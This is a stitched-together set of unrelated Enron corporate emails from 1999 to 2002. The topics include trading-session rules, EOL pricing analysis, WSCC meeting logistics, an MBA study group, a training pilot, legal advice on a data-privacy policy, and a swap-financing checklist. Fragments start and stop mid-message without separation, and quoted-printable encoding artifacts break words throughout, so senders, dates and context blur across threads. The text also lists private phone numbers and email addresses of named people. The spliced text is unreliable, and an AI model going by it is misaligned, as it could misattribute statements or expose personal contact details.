participate in the End of Week Session, a new order must be submitted.

(D) Prices for trades executed during the End of Week Session shall  be=20
reported on public ticker services;

(E) Current market prices and trades executed during the End of Week Sessio=
n=20
shall not be considered in determining any settlement price; and

(F) Floor Members executing trades during the End of Week Session shall mar=
k=20
a line across their trading cards prior to the entry of an End of Week=20
Session trade.

email.

.com&
refdoc=3D(01-156)"

Start Date: 2/2/02; HourAhead hour: 1;  No ancillary schedules awarded.  No variances detected.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020201.txt

Hi Bob,

some comments :
1.  You request Enron position after successful market order, but not after limit order  -- you may want it after limit order as well to be consistent.  I am not clear on how you would use Enron position.  It is possible that the trading desk will have a target position in mind and they will set bids and offers in such a way as to try to achieve that target position, but this target position probably changes continuously and is not stored anywhere, and without this target position there is nothing to compare actual Enron position to.  Of course, Enron position may still provide some insights.
2.  You request bid-mid-ask prices for each trade --- given that a successful trade may execute later than time of order (especially for limit orders), would you need the evolution or range of bid-mid-ask over this time interval (time of order to time of execution)?  Also, for failed trades, you may need the evolution or range of bid-mid-ask over the time interval from time of order to time of rejection.  This again mainly applies to limit orders, as the time intervals may not be significant for market orders given the speed of execution (something to check).

From: 	Lee, Bob  
Sent:	Monday, April 23, 2001 8:33 AM
To:	Kaminski, Vince; Shanbhogue, Vasant; Barkley, Tom
Cc:	Lu, Zimin; Huang, Alex; Gibner, Stinson
Subject:	EOL Pricing Algorithm

A draft data request for EOL data we would use to study P&L patterns for the "George" pricing algorithm is attached for your review.  

I would like to send this to Andy Zipper and Jay Webb this afternoon.

Bob
 << File: Trade Data Request.doc >> 

Ok.  I agree.  

Jim

Sent:	Monday, November 19, 2001 8:12 AM
To:	Steffes, James D.
Subject:	RE: WSCC BOT Meeting announcement - Dec 5-6 Phoenix

Jim,

	WSCC is voting on the formation of the WECC which will consolidated WSCC with the Western Regional Transmission Association and the Southwest Regional Transmission Association.  The Northwest Regional Transmission Association is likely to follow.  In order for this proposal to pass, 85% of the members must vote in favor and 90% of the control area MWs.  I think we should be there to vote for approval of the proposal.  In addition to combining the three (and possibly four) organizations, the change will alter the board make up, bringing independent members onto the board and allowing more latitude in membership.  The committees will be reevaluated as well and restructured over then next 2-3 years.

	Ray Alvarez is the member of the Board, so I talked to him about coverage.  He seemed to be uncertain about his availability.  I have an RTO West Congestion Management Meeting, where we are closing in on the final details of a financial rights model based on nodal pricing in real time.  I think I need to be there to keep the thing from getting fouled up.  Dave is close in Phoenix, so that was the reason that we tentatively made a reservation for him at the hotel.

Steve

Sent:	Monday, November 19, 2001 7:21 AM
To:	Perrino, Dave; Alvarez, Ray; Walton, Steve

Before we take this on, let's talk about how it fits into our priorities.  What will be happening that we must cover?

Jim

From: 	Perrino, Dave  
Sent:	Saturday, November 17, 2001 12:29 AM
To:	Alvarez, Ray; Walton, Steve; Steffes, James D.

Ray,

I will be happy to attend the WSCC BOT meeting in December.  I spoke to Steve about the issues to be covered, so we should be all set.  I will contact WSCC and register next week.

Kind Regards,

Dave

From: 	Alvarez, Ray  
Sent:	Friday, November 16, 2001 11:45 AM
To:	Perrino, Dave; Walton, Steve; Steffes, James D.

Dave, Steve and I talked and due to our schedules and distance from Phoenix, we think it would be most effective if you could represent the company at this BOT meeting.  This is assuming your schedule allows and Jim is on board with one of us attending.  It will be an important meeting with approval of WECC and next year's budget on the agenda.  I am making hotel reservations for you, since today is the deadline.  I think you also need to fill out a form for WSCC; Jenny Remington is the meeting planner.  I will send Dennis Eyre a delegation after I hear from you and Jim.  Ray

Sent:	Thursday, November 15, 2001 12:20 PM
To:	Alvarez, Ray; Walton, Steve
Subject:	WSCC BOT Meeting announcement - Dec 5-6 Phoenix

FYI

 << File: DEC 2001 ANNOUNCE.doc >> 

From: 	Day, Smith L.  
Sent:	Tuesday, October 16, 2001 11:45 AM
To:	Platter, Phillip
Subject:	Turkey Fixins

Hey Phil:

Here is where you can order the Turkey spices.  

Tell everyone hello.

http://www.cajuninjector.com/home.html

Smith L. Day
Enron Power Marketing, Inc.
Ph. 713-853-4201
Fax: 713-646-8272
Pager: 877-306-9429

Thanks.  I think the one dimension that I would like to see addressed a bit 
more explicitly is:  If the interest in the holding company itself is 
transferred, or the management control of the holding company changes hands, 
e.g., "Enron Corp." (old) is no longer chaired by Lay, who will chair "Enron 
Corp. (new)", but Enron Corp. (old) still is the JV interest owner, in 
addition to the legal requiriements, and consultation with locals you note 
below, is there any risk of "political" interference, such that they might 
extract concessions from the parties to the transaction before it could go 
forward.  Not necessarily fair, but they might have some leverage or perceive 
that they do.  If such a transaction goes forward, the dealmakers want to 
know this, so as to be able to fairly judge the risk, and how to allocate it 
in the deal.  thanks  mcs    

Mike Dahlke@ENRON_DEVELOPMENT
04/07/2000 06:55
To: Mark Schroeder@ECT
cc:  

Subject: Korean Consents

Per our conversation last week, please see attached.

I expect to be here.  713 276 7374.  Maybe a win tonight for a change....

KSC

Sent: Tuesday, May 22, 2001 6:00 PM
To: Culotta, Kenneth
Subject: RE: Tampa Electric

I know a couple of their lawyers from a prior transaction (Doug Turner and
their GC, whose name I've now forgotten).  Don't know who they will have on
this one.

I'm off to the Astros, but would like to visit with you tomorrow, if you
will be around.

Thanks,

Kay

"Culotta, Kenneth" <KCulotta@KSLAW.com> on 05/22/2001 05:36:41 PM

To:   "Keffer, John" <JKeffer@KSLAW.com>, "'C. Kay Mann (E-mail)'"
<Kay.Mann@enron.com>
cc:

Subject:  RE: Tampa Electric

Kay

I'm looking forward to working with you on this.  I wonder who opposing
inhouse counsel is at TECO?

KSC

> From:         Keffer, John
> Sent:         Tuesday, May 22, 2001 5:17 PM
> To:           C. Kay Mann (E-mail)
> Cc:           Culotta, Kenneth
> Subject:           Tampa Electric
>
> Kay-we have no conflict with Tampa Electric.  Gracias

Confidentiality Notice
This message is being sent by or on behalf of a lawyer.  It is intended
exclusively for the individual or entity to which it is addressed.  This
communication may contain information that is proprietary, privileged or
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..more  to come.   Margaret
---------------------- Forwarded by Margaret Carson/Corp/Enron on 09/22/2000 
11:09 AM ---------------------------
From: Simon Shih on 09/21/2000 02:48 PM
To: Jeff Dasovich/SFO/EES@EES, Rob Bradley/Corp/Enron@ENRON, Margaret 
Carson/Corp/Enron@ENRON
cc:  

Subject: 

Just a few changes below.

	David Forster@ENRON
	10/23/2000 09:15 AM
		 
		 cc: 
		 Subject: Capacity Trading Policy

Mark,

Further to the requirement to send an email to the desk heads informing them 
of the policy not to access NNG Capacity trade information, do you think the 
following will suffice?

Subject: NNG Capacity Trading

Body:

Please note that as of Monday, October 30, Northern Natural Gas will commence 
transacting for capacity on EnronOnline. In accordance with FERC 
requirements, employees of Enron North America must not use  have commercial 
information with regard to NNG activities which is not in the public domain.

For at least the next several months, NNG will be using EnronOnline and 
sharing the same database. We have agreed a policy with NNG legal that ENA 
employees will not use  obtain commercial information with regard to NNG 
activities which is not in the public domain. Accordingly, you are not 
permitted to access such information.  Attempts to access such information 
may be monitored and will be considered a violation of the policy.if you 
become aware of the existence of any such information, please adhere to the 
policy.

Dave

I'm ok with Nov 3.
Jimmy

> From: Dylan Windham [SMTP:dwindham@uclink4.berkeley.edu]
> Sent: October 24, 2000 12:32 PM
> To: Christine Piesco; Jeff.Dasovich@enron.com
> Cc: jcjcal02@aol.com; jjackson@haas.berkeley.edu;
> kkupiecki@arpartners.com
> Subject: Re: Teams
>
>
> Unfortunately, I am out of town this weekend at a wedding.  Therefore with
> the midterm due on Monday, I will not be able to get to the next case at
> least until November 3rd.  Sorry.
>
> Dylan
>
>
>
>
> At 12:06 PM 10/23/00 -0700, Christine Piesco wrote:
> >Teaml,
> >
> >I'm responsible for coordinating the next case - Teltronica, which is due
> 11/6. It happens that my parents are
> >visiting from the east coast that weekend. I thought that since we
> haven't
> had a case due for a couple of weeks,
> >if there were any chance we could get the case done before the weekend
> that would help out a lot. We're still two
> >weeks out from the due date, so we have a lot more time than usual, even
> with the take home exam. Let me know if
> >you guys think we can try to hammer this out next week after the take
> home's out of the way. As well as I recall,
> >SF has the first half, East Bay has the second this time.
> >
> >Thanks,
> >Christine
> >
> >Jeff.Dasovich@enron.com wrote:
> >
> >> Based on last nite's discussion, here's the coordinator list:
> >>
> >>    Christine--11.6--Teltronica
> >>    Dylan--11.13--Nutra
> >>    Kim--11.1--Agro Feed
> >>    Jeff--11.27--Global Industries
> >>    Jimmie--12.4--Daimler-Benz
> >>
> >> We also decided that:
> >> 1) we'd continue with the SF/East Bay split
> >> 2) each group should combine the answers into one document prior to
> sending
> >> to the coordinator for final compilation
> >> 3) we'd distribute draft answers to the entire group, since some
> questions
> >> feed off of others
> >> 4) we'd get finalized responses to the coordinator no later than 4 PM
> on
> >> Sunday
> >>
> >> Let me know if this tracks with others' memories.
> >>
> >> Best,
> >> Jeff
> >>
> >>
> >>                     Christine Piesco
> >>                     <christine.piesco@o        To:     Kimberly
> Kupiecki
> <kkupiecki@arpartners.com>
> >>                     racle.com>                 cc:
> Jeff.Dasovich@enron.com, dwindham@uclink4.berkeley.edu,
> >>
> jjackson@haas.berkeley.edu, jcjcal02@aol.com
> >>                     10/09/2000 01:49 PM        Subject:     Re: Teams
> >>
> >>
> >>
> >> I assume you all have already exchanged contact information. Mine is
> below,
> >> if
> >> there is a list of everyone's phone numbers could someone please
> forward it
> >> to
> >> me?
> >>
> >> Home: 415-928-7487
> >> Cell: 650-740-1097
> >> Work: 650-506-3640
> >>
> >> Thanks,
> >> Christine
> >>
> >> Kimberly Kupiecki wrote:
> >>
> >> > Hi Christine,
> >> >
> >> > We have been doing the cases via email up to this point.  We
> typically
> >> > divide up the questions and send each other our responses.  One team
> >> member
> >> > takes the lead on creating the "hand in" document.
> >> >
> >> > Cheers,
> >> >
> >> > At 04:42 PM 10/4/00, Christine Piesco wrote:
> >> > >Glad to be aboard! When are we meeting? I am on campus Monday-Weds.
> >> > >
> >> > >Christine
> >> > >
> >> > >Jeff.Dasovich@enron.com wrote:
> >> > >
> >> > > > Christine:
> >> > > >
> >> > > > Sorry I haven't replied sooner.  Crazy day.  Consider yourself
> the
> >> 5th
> >> > > > member of our team---but remember, no warranties included.
> >> > > >
> >> > > > Best,
> >> > > > Jeff
> >> > >
> >> > >--
> >> > >Christine Piesco
> >> > >Industrials Account Manager
> >> > >Oracle Corporation
> >> > >500 Oracle Parkway
> >> > >Redwood Shores, CA 94065
> >> > >Phone: (650) 506-3640
> >> > >Fax: (650) 633-3753
> >> > >christine.piesco@oracle.com
> >> > >
> >> >
> >> > Kimberly Kupiecki
> >> > Senior Account Executive
> >> > A&R Partners
> >> > kkupiecki@arpartners.com
> >> > (650) 762 2800 main
> >> > (650) 762 2825 direct
> >> > fax (650) 762 2801
> >>
> >> --
> >> Christine Piesco
> >> Industrials Account Manager
> >> Oracle Corporation
> >> 500 Oracle Parkway
> >> Redwood Shores, CA 94065
> >> Phone: (650) 506-3640
> >> Fax: (650) 633-3753
> >> christine.piesco@oracle.com
> >>
> >> (See attached file: christine.piesco.vcf)
> >
> >Attachment Converted:
> "C:\PROGRA~1\eudora\windham\attach\christine.piesco7.vcf"
> >

Thank you again for participating in the Leadership Development vendor
selection process in December.

Based on the decisions we made at the meeting, we are ready to conduct a
pilot February 8-10 of six modules from Wilson Learning Corporation.
The purpose of the pilot is to evaluate Wilson Learning materials and
facilitators and present a portion of the Leadership curriculum.  We will
also pilot the communications module for non-supervisory employees.

We ask that you invite 1-2 managers from your group to participate and
evaluate the modules.  Participants should plan to complete a minimum of two
modules.  In addition, you are invited to participate in as many as you
would like.  We are also opening this pilot to managers throughout ENA to 
ensure 
that the material adapts well  We are currently completing the curriculum 
design 
and plan to have information available in February.

As you may remember these are the decisions we reached at the meeting in
December:

* Use Southwest Performance Group (SWP)and Wilson Learning products as our
primary vendor and Achieve Global as a secondary.
* Create an Enron faculty of outside facilitators that meet our specified
requirements.
* Ensure that the skills in our curriculum are matched to different levels
of manager.
* Ensure that we incorporate data available from consultants currently
working with Energy
Operations
* Incorporate current Enron course offerings into ENA curriculum

Attached for your review are:

* Facilitator Profile
* Curriculum Table - mapping skills to courses

Descriptions of each module are also attached for your review

The following are half-day sessions.  Supervisors may sign up for any or all 
depending on their need.  It would be helpful if supervisors attend a minimum 
of two modules.  We need to have a minimum of 9 participants for the course 
to be effective.  As an added bonus, I will cover the cost of attending the 
pilot.  (As you may remember, cost for attending programs in 2000 will be 
charged back to the business unit)

Date   Module     Time    Target Audience

Feb. 8   Meeting Leadership Challenges   8-12 am    Supervisors with less 
than 6 months experience

   Working Styles     1-5 pm    Any supervisor 

Feb. 9   Coaching To Performance   8-12 am    Any supervisor

   Motivating For Results    1-5 pm    Any supervisor

Feb. 10   Communicating Effectively   8-12 am    Any employee

   Delegating and Directing   1-5 pm    Any supervisor

Other details:

* Sessions will be held in Room 560.
* Participants should plan to attend a minimum of two sessions.
* Please call Gracie Presas to register by February 1.  
* Descriptions of each module are provided in the attachment.

If you have further questions concerning this pilot, please contact me at 
3-7394.  Again, thank you for all your work in this importanct effort!

rhino here, sorry you lost your voice!  Just goes to show that sometimes 
prayers are answered.  Just kidding!  We missed you at gas fair.  It just 
wasn't the same without  you.  When are you comming back?  Oh damm, I've got 
to go to a meeting.  I'll write later.  Rhino, out.

fyi.  =20
=20

--Lizzette=20

From: Gregory, Sarah=20
Sent: Tuesday, October 16, 2001 11:55 AM
To: Palmer, Lizzette
Cc: Chapman, Jon (London HR)
Subject: FW: Data privacy policy and intra-group agreement

Lizette
=20
As requested
=20
Sarah
Sent: 01 October 2001 13:01
To: Chapman, Jon (London)

Jon
=20
Please see the note below which is the result of a brief (4 hour review) by=
 CC. Somewhat predictably, the main conclusion of the review is that, becau=
se we haven't followed the model contract relating to data transfers publis=
hed by the EC, we may not have "adequately safeguarded" employees' position=
s especially since we missed bits out, changed the emphasis from time to ti=
me and accorded ourselves rights not otherwise envisaged by the master cont=
ract
=20
Fundamantal points seem to be

we give no rights to employees to sue under the contract=20
we seem to be confused as to whether we are getting consent from employees =
or relying on the model contract as we seem to be suggesting that we will d=
o both=20
we don't make it clear what we are doing with other data (other than employ=
ee date) and don't deal with sensitive data=20
we impose a burden on Corp to comply with the contract and the laws of the =
exporter whch is a double whammy=20
we don't expressly deal with international transfers=20
we have missed a whole host of provisions out from the Model Contract=20
we can change the uses for which employee data is used

=20
How do you want to take this forward ?
=20
Sarah

From: Lawrence.Milner@CliffordChance.com
[ <mailto:Lawrence.Milner@CliffordChance.com>]
Sent: 28 September 2001 17:47
To: Gregory, Sarah
Subject: Data privacy policy and intra-group agreement

Dear Sarah

Further to our correspondence earlier this week, you asked me to look at th=
e documentation that you sent me from a data privacy perspective.  As reque=
sted, I set out below what I believe are the significant issues in relation=
 to the relevant documents.=20

Preface to policy

*     In relation to the "Prefatory Statement To Employee Data Protection P=
olicy" I note that this prefatory statement and the associated policy relat=
e only to employee data and it is therefore unclear what steps Enron is tak=
ing in respect of other data.

*     The last paragraph on the first page of the prefatory statement state=
s that "we are implementing the Employee Data Protection Policy attached to=
 this Preface in an effort to assure employees and the appropriate regulato=
ry agencies that we have in place data protections that are comparable to t=
hose mandated by the Directive and other similar data protection laws".  En=
ron's obligation is to ensure that it complies with applicable data protect=
ion laws.  To the extent that the policy only relates to employee data it w=
ill not satisfy regulatory authorities or others that Enron is complying wi=
th data protection laws in respect of any other data.

Policy

*     In relation to the policy itself, this does not identify or require e=
mployees to comply in a comprehensive way with the various data protection =
principles under the UK Act or the Directive.  Where principles are reflect=
ed, the relevant provisions are on occasion slightly misleading.  For examp=
le, the policy says that data is kept "as long as necessary".  The relevant=
 data protection principle is that data should "not be kept for longer than=
 is necessary" (a difference in emphasis). It seems to me that the policy i=
s seeking largely to fulfil the requirement that individuals (employees in =
this case) are properly informed of the processing of their data.  This req=
uires Enron to inform individuals of the data controller (or its representa=
tive), the purposes of processing and any other information to enable the p=
rocessing to be fair.  In this regard, section 2 identifies the purposes of=
 processing employee data.  Have checks been made to ensure this is an accu=
rate and reasonably comprehensive description of the purposes for which emp=
loyee data are processed?

*     Section 2 of the policy states that Enron companies do not access sen=
sitive data "in making employment decisions described in (i) and (ii)" of s=
ection 2.  To what extent is any sensitive employee data processed by Enron=
 and to what extent have any notices or consents been given or obtained in =
relation to such data?=20

*     In relation to the consent sought in section 3, this does not clearly=
 seek consent to international transfers of data.  The policy also seeks to=
 deem consent stating that by continuing as an employee of an Enron Company=
" the employee agrees to the use of his or her data as described in the pol=
icy.  It is unclear whether such a deemed consent would be effective.  To w=
hat extent is it possible to seek employees' actual consent (e.g. as part o=
f an annual agreement by employees to abide by applicable group codes of co=
nduct, guidelines or policies)?

*     In relation to section 3, this provides that Enron may expand the use=
s to which employee data is put as described in this policy.  Unless employ=
ees are properly informed of or aware of any such changes, it is unlikely t=
hat any such changes will be lawful.

*     In relation to section 4, this states that "we have not established g=
eneral guidelines for the use, disclosure and retention of personal data. O=
bviously, the purposes for which we will process personal data, the type of=
 personal data in question and relevant regulatory requirements will guide =
us in such matters".  It is unclear what the purpose of this wording is bea=
ring in mind that it would not offer any comfort to regulators that applica=
ble data protection laws are being complied with.  From an employee's persp=
ective, it is not very informative.

*     In the second paragraph in section 4, the policy provides that each i=
ndividual who is retained by an Enron Company is responsible for ensuring t=
hat he or she takes into account the principles established by this policy.=
  As mentioned above the policy does not clearly address all relevant princ=
iples identified in the Directive. =20

Master Agreement

*     The master data protection agreement only relates to intra-group tran=
sfers of employee data.  What is happening in relation to transfers of othe=
r data?

*     To the extent that consents by employees to processing and internatio=
nal transfer of their data have been or can be obtained (e.g. through emplo=
yees agreeing to a policy that addresses this issue and) then this document=
 would not be necessary as relevant conditions permitting international tra=
nsfers would have been satisfied.  To what extent can employees' consents b=
e obtained to international transfers?

*     The provisions in this document appear to be based on the European EU=
 model contract.  However, they do not cover all the relevant provisions of=
 the model contract and to the extent that relevant provisions are covered,=
 they tend to be paraphrased in slightly inconsistent ways.  As a result, t=
he question is to what extent can this document be relied on to ensure "ade=
quate safeguards".  The EU decision adopting to the model contract states t=
hat "the scope of this Decision is limited to establishing that the clauses=
 in the Annex may be used by a controller established in the Community in o=
rder to adduce adequate safeguards within the meaning of article 26 (ii) of=
 Directive 95/46/EC".  The Decision does not state that similar terms adopt=
ed by particular entities will also offer adequate safeguards.  The more th=
at the Master Agreement differs from the EU model contract, the less certai=
nly an entity can have that there are adequate safeguards in place.=20

*     Although many provisions in the model contract have been paraphrased =
in the Master Agreement, I could not find provisions in the Master Agreemen=
t corresponding with a number of provisions in the model contract, for exam=
ple: clauses 2, 3, 4(b),  5(e), 6, 7(1), 9 and 11 of the model contract, an=
d the detailed description of the processing in Appendix 1 of  the model co=
ntract.  In relation to Appendix 2, it is unclear where the following are r=
eflected:  Appendix 2, paragraph 3;  the various information requirements i=
n paragraph 6(a) and paragraphs 7, 8 and 9 of Appendix 2.

 *     In relation to the Data Importer - is Enron Corp. the only relevant =
data importer of employee data from Europe?

*     In relation to the definitions in the master data protection agreemen=
t, it is unclear why this does not use the same definition as the model con=
tract.   For example, the definition of "data processor" identifies relevan=
t entities that are "not a member of the corporate group".  Why are Enron C=
orporate Group members/excluded from the definition of data processors?=20

*     The master data protection agreement does not address the question of=
 sensitive data and no definition of sensitive data is included.  Are any s=
ensitive data transferred?=20

*     In relation to section 3(e), this lists again the various purposes of=
 processing employee data.  The description of relevant processing should p=
resumably track the description in the policy to which Enron Group companie=
s are bound.  It is therefore unclear why it is necessary to list again the=
 various purposes of employee processing rather than simply cross-referring=
 to the policy.

*     Paragraph 3(f) states that data exporter will be responsible for obta=
ining any necessary consents from the data subjects with respect of the pro=
cessing of personal data.  To the extent that consents are obtained they sh=
ould also cover international transfers of data.  To the extent that approp=
riate consents to the international transfer of data is obtained then this =
agreement is unnecessary.  Again therefore the question is to what extent c=
onsents to international transfer of data by employees can be or will be ob=
tained?

*     Clause 3(g) provides that the purposes for which data may be processe=
d can be expanded and that the data importer will endeavour to inform the d=
ata exporter of additional purposes of using such data.  This does not conf=
orm with the strict "purpose limitation" in paragraph 1 of appendix 2 of th=
e model contract.

*     Whereas clause 5(b) of the model contract entitles importers to eithe=
r abide by the principles identified in the model contract or the laws of t=
he data exporter (which need to be annexed to the contract), the master agr=
eement addresses both these requirements (see in particular paragraph 5(b))=
.  As a result, to this extent it imposes a potentially higher standard tha=
n that required by the model contract.  How does Enron Corp propose to comp=
ly with the laws of multiple countries as per clause 5(b)?

*     Clause 9(b) provides that the "data processor will observe the obliga=
tions of a data controller" - this might mean for example that a data proce=
ssor needs to register for data protection purposes with applicable data pr=
otection regulators.  What legal obligation is this clause seeking to addre=
ss?

The above comments are based on the UK Act however it is likely that simila=
r obligations will apply in other jurisdictions.

 In light of the above, the key issues are as follows:

*     To what extent is it possible to obtain consents from employees to in=
ternational transfers?  To the extent this is possible then it is likely th=
at an intra-group agreement will not be necessary;
*     To the extent that such an agreement is necessary, we would normally =
suggest that this is done substantially on the terms of the model contract.=
  To the extent that the relevant terms differ from the model contract then=
 there is a risk that the relevant provisions do not offer "adequate safegu=
ards" as provided by the Commission decision.  If however, Enron proposes t=
o make transfers under the terms of the master agreement then I would sugge=
st the master agreement should be reviewed in detail so as to ensure that t=
o the fullest extent possible, it accurately reflects all the relevant prov=
isions of the model contract more closely, in particular in relation to rig=
hts of relevant data subjects to enforce the contract as a party to it.

Please do not hesitate to contact me if you would like to discuss this furt=
her.

Yours sincerely

Lawrence Milner

*******

This message and any attachment are confidential and may be privileged or o=
therwise protected from disclosure.  If you are not the intended recipient,=
 please telephone or email the sender and delete this message and any attac=
hment from your system.  If you are not the intended recipient you must not=
 copy this message or attachment or disclose the contents to any other pers=
on.

For further information about Clifford Chance please see our website at <ht=
tp://www.cliffordchance.com> or refer to any Clifford Chance office.

  Sorry for the confusion,  here it is.

Regards,

Thanks, Joe

Joe Hillings@ENRON
10/19/99 04:50 AM
To: Steven J Kean/HOU/EES@EES, Terence H 
Thorn/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cynthia Sandherr/Corp/Enron@Enron, 
Jeffrey Keeler/Corp/Enron@Enron, Chris Long/Corp/Enron@Enron, John 
Hardy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Kenneth Lay/Corp/Enron@Enron, Joseph W 
Sutton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sanjay 
Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ashok 
Mehta/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Eric Shaw/LON/ECT@ECT 
Subject: President And Congress To Meet In Attempt To Resolve Budget 
Disagreement

President Clinton vetoed the Foreign Operations Appropriations bill 
yesterday. His press secretary announced that other vetoes were possible 
until the President and Congress reached agreement on the budget impasse. The 
Defense Appropriation conference report which contains authority to 
permanently extend the exemption relating to OPIC and ExIm financing for 
projects in India is in the cue and could be affected by this action. 

Congressional authority for government operations expires this week as does 
the one-year exemption. Congress must act by Thursday to extend both items. 
Congress is expected to adopt a "continuing resolution" through October 29 
while the two branches of government work out their differences.

The President and Congressional leaders are to meet today to discuss and 
possibly establish a procedure for negotating the disagreement.

The specifics for Bryan Pechersky at Vinson & Elkins, L.L.P. follows.  He 
will need the Master Agreements and the ENE guarantees in order to complete 
his opinion.  I will be sending the guarantees in short order.

> Bryan J. Pechersky
> Vinson & Elkins L.L.P.
> 1325 Avenue of the Americas
> 17th Floor
> New York, NY 10019
> (917) 206-8105
Email: bpechersky@velaw.com 

	Peter Keohane@ECT
	09/18/2000 09:11 PM
		 
		 To: Soma Ghosh/HOU/ECT@ECT, Clement Abrams/Corp/Enron@ENRON, Tana 
Jones/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Derek Davies/CAL/ECT@ECT, wen@blakes.com, 
dpef@blakes.com, Brian Kerrigan/HOU/ECT@ECT, Greg Johnston/CAL/ECT@ECT
		 cc: Sharon Crawford/CAL/ECT@ECT
		 Subject: Alberta PPA Financing - URGENT

I hate to sound like a jerk (but its the nature of my job, and perhaps my 
personality, so I will).  Another day has passed and the Bank has yet to see 
paper, and frankly we have yet to see the Bank's paper.  Frankly I am very 
concerned about this getting done on time.  I know this can all be put in 
place, but I think we need to make a concerted and coordinated effort to make 
this our individual priorities between now and Friday.  I will be in a plane 
until mid-afternoon tomorrow, but will be reachable after that by cell @ 
403-819-5528.

In my absence Greg Johnston has kindly agreed to help out.  Greg can be 
reached @ 403-974-6745.

I want to set out below the various tasks and responsibilities as I see them, 
and the outstanding issues as I understand them.  I think a distribution of 
all drafts needs to be circulated by no later than mid-afternoon tomorrow, 
with a view to review of drafts Tuesday, revising drafts Wednesday, 
finalizing drafts and executing Thursday and funding Friday.

A.  SWAP #1 w/ Swapco (Bow River Trust):

*  Credit worksheet - Bill

*  ISDA Master, etc. - Tana/Sara

*  Transaction terms (gas prepay) - Brian/Soma/RBC

*  Confirm (gas prepay) - Sara

*  Blakes opinion re; ECC - Warren

*  Enron Corp. G'ee - Clement

*  J. Derrick opinion re: Enron Corp. - Clement

*  VE opinion re: Enron Corp. - ? (Clement)

*  Macleod Dixon opinion re: Swapco - Warren to follow-up

B.  SWAP #3 w/ RBC

*  Transaction terms (gas swap) - Brian/Soma/RBC

*  Confirm (gas swap) - Sara

*  Transaction terms (interest rate swap) - Brian/Soma/RBC

*  Confirm (interest rate swap) - Sara

*  Macleod Dixon opinion re: RBC - Warren to follow-up

C.  OTHER  

*  Fee Letter - Macleod Dixon - Warren to follow-up  

*  Indemnification re: Increased Costs - Macleod Dixon - Warren to follow-up

*  Promissory Note from ECPC to ECC - Greg

*  Resolution re: Promissory Note for ECC - Greg

*  Resolution re: Promissory Note for ECPC - Greg

D.  ISSUES

*  Generic cross-default to any ECC swap in ECC portfolio over specified 
threshold amount - as discussed, I would consider this as unacceptable but 
will defer to commercial.  The scope of the default would be overly broad, 
the Bank is relying on Enron Corp. credit and will have a third party debt 
x-default to Enron Corp. of US$100MM.  If agreed, this needs to be considered 
for both Swap #1 and  #3

*   Cross-default to Enron Corp. Credit Agreement - as discussed, this should 
be unnecessary if Credit Agreement reps/wars/covenants are in the Enron Corp. 
G'ee, but this could be a solution to providing a short for Enron Corp. G'ee

*  Cross-default to Swapco Credit Agreement with BF Equity for illegality - 
as discussed, since ECC is not a party to that transaction and would have no 
standing to take any position to prevent acceleration, since ECC would 
nonetheless be obligated on Swap #1, the Bank's only issue would be timing of 
repayment, the risk is more theoretical than real for the Bank and given that 
the loan is part of the Bank's own off-balance sheet structure, this should 
not be acceptable.  If agreed, this needs to be considered for both Swap #1 
and  #3

*  Syndication - the Bank will be entitled to syndicate up to 50% of the 
amount funded under Swap #1 to Canadian Chartered Banks, but not more than 
20% of the funded amount to Schedule II Canadian Chartered Banks.  Increased 
cost of funding by Schedule II Banks will be accounted for under the interest 
rate swap.  The issue will be to define the parameters of our participation 
in syndication, to whom we have recourse under Swap #3 (and #1) and to 
document the right to syndicate Swap #1 separately from the adjustment to the 
interest rate swap.

Finally, we need some answers on my earlier e-mail, including as to wiring of 
funds and amount required to be funded.

PK 

FYI.  Report by the business community of the impact of blackouts on the Cal 
economy.  Getting a considerable amount of play here.

Best,
Jeff

P.S.  Karen, could you forward to our buddies at Marathon?  Thanks very much.
----- Forwarded by Jeff Dasovich/NA/Enron on 04/26/2001 01:05 PM -----

	"Laura Goldseth" <lgoldseth@svmg.org>
	04/26/2001 12:11 PM
		 
		 To: <lgoldseth@svmg.org>
		 cc: 
		 Subject: Final BAEF report

Please  find attached the final?and well waited for version of the Bay Area  
Economic Forum Report - "A Knowledge Economy Still Needs Power".? I am  
looking into getting hard copies of the report for those interested.?  Thanks 
for your patience.? Laura
?
?
 - BAEF Report (FINAL).pdf

Shawn / Shona

We have talked round this issue for some time so I thought I would try to 
take a brief stab at documenting what my preferred approach is (we will need 
to do a great deal of talking before we would circulate widely):-

Aims
Accountability for internal controls must rest with the commercial support 
teams and absolutely with the leaders of those teams.
A culture of control and operational risk assessment requires extensive 
on-going communication and a structure of measurement and tracking.
Any independent process of review such as Doorstep and BRM should fully 
leverage the work engaged by staff in the line and indeed should be focused 
by it
All elements of implementing, completing and reviewing internal control 
should generate defined output
We focus independently the review efforts for trading controls and 
origination controls (we have defined the control structure for trading 
offices, agency offices and origination offices and we must police our 
labelling for each office)
The output from Enron's perspective is appropriate risk issue lists to be 
discussed at control/governance meetings (eg at Sally/Ted/Fernley's level and 
at the audit committee level) - the important issue here is that every list 
must be extracted from an agreed database of issues - different lists have 
different amounts of filtering applied - judgementally by senior/experienced 
staff 
The output from AA's perspective is their internal controls audit opinion 
based upon our database and our review and management process of it

Trading Process - monthly
Routine judgemental self assessment on areas within the trading transaction 
cycle - rating made by business controller is red, amber, green - with trend 
indicator of static, improving or declining - see attachment 2 for full 
listing
Monthly metrics collected for key standards set for risk management - see 
attachment 1 (you will notice that this is a summarised version of attachment 
2 - and as a senior controller I would expect the metrics to underpin but not 
solely drive the judgement within the self assessment) - Shona, this is the 
work that Mike Moscoso is leading
Periodic review meeting between controller and commercial lead to discuss 
operational risk and areas of concern (red and amber) with agreement of 
action plans for such areas
Monthly review by controller/senior controller of database where all high 
(red) and medium (amber) risk issues are recorded.  Milestones for action 
plans revisited, reconfirmed or amended
Monthly meeting between remote office staff and controllers to identify if 
the risk rating for any remote offices has changed
All new information on issues raised by self assessment, doorstep review or 
BRM completion populated into database
Database utilised globally to report to various levels of governance and 
decision on whether original BRM and doorstep plans require amendment

Process - Yearly Planning
Checkpoint taken of
current operational environment (say end Oct)
proposed new offices for coming year or proposed changes to activity in 
office, and
IT development plans for next year
Prioritisation made for doorstep - which offices require a visit and what 
